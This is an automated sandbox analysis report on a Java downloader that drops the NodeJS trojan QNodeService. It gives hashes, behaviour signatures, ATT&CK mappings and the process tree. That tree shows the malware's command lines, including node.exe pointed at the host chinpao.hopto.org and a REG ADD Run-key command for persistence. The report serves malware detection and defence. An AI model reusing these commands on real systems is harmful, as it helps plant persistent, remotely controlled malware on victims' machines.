qnodeservice | c95a2a4bf6c6ebc506bd44e1bffa5d976492fe790e4aad25877a175446bf4b64

General

Target

Tender#26102020.jar
Size

68KB
MD5

4697aaf4076adb6f3d13f57f46384473
SHA1

03eb4c114509f95dca7b1341d13d97f0db59a4e6
SHA256

c95a2a4bf6c6ebc506bd44e1bffa5d976492fe790e4aad25877a175446bf4b64
SHA512

8ac3199d526c96926fde78d6140598fac512e030b9106825643321258e6bc20f65257d89209abe4247d7424b2fb19b1d10e532ffddc0c4c491636fa807699957

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2616	node.exe
3008	node.exe
732	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\a23ab727-7f7a-48b2-9fd5-599b68a1c170 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab5b-173.dat	js
behavioral2/files/0x000100000001ab5b-177.dat	js
behavioral2/files/0x000100000001ab5b-327.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
29	wtfismyip.com
30	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2616	node.exe
2616	node.exe
2616	node.exe
2616	node.exe
3008	node.exe
3008	node.exe
3008	node.exe
3008	node.exe
732	node.exe
732	node.exe
732	node.exe
732	node.exe
732	node.exe
732	node.exe
732	node.exe
732	node.exe
732	node.exe
732	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3952 wrote to memory of 3480	3952	java.exe	75
PID 3952 wrote to memory of 3480	3952	java.exe	75
PID 3480 wrote to memory of 2616	3480	javaw.exe	79
PID 3480 wrote to memory of 2616	3480	javaw.exe	79
PID 2616 wrote to memory of 3008	2616	node.exe	81
PID 2616 wrote to memory of 3008	2616	node.exe	81
PID 3008 wrote to memory of 732	3008	node.exe	82
PID 3008 wrote to memory of 732	3008	node.exe	82
PID 732 wrote to memory of 572	732	node.exe	84
PID 732 wrote to memory of 572	732	node.exe	84
PID 572 wrote to memory of 2420	572	cmd.exe	85
PID 572 wrote to memory of 2420	572	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Tender#26102020.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3952
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\b82b36e4.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain chinpao.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2616
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_FHTkba\boot.js --hub-domain chinpao.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3008
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_FHTkba\boot.js --hub-domain chinpao.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:732
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a23ab727-7f7a-48b2-9fd5-599b68a1c170" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:572
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a23ab727-7f7a-48b2-9fd5-599b68a1c170" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2420

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/732-328-0x0000019130500000-0x0000019130501000-memory.dmp

Filesize
4KB

Download
memory/2616-175-0x000002012F580000-0x000002012F581000-memory.dmp

Filesize
4KB

Download
memory/3008-178-0x000001B52CCC0000-0x000001B52CCC1000-memory.dmp

Filesize
4KB

Download

Analysis

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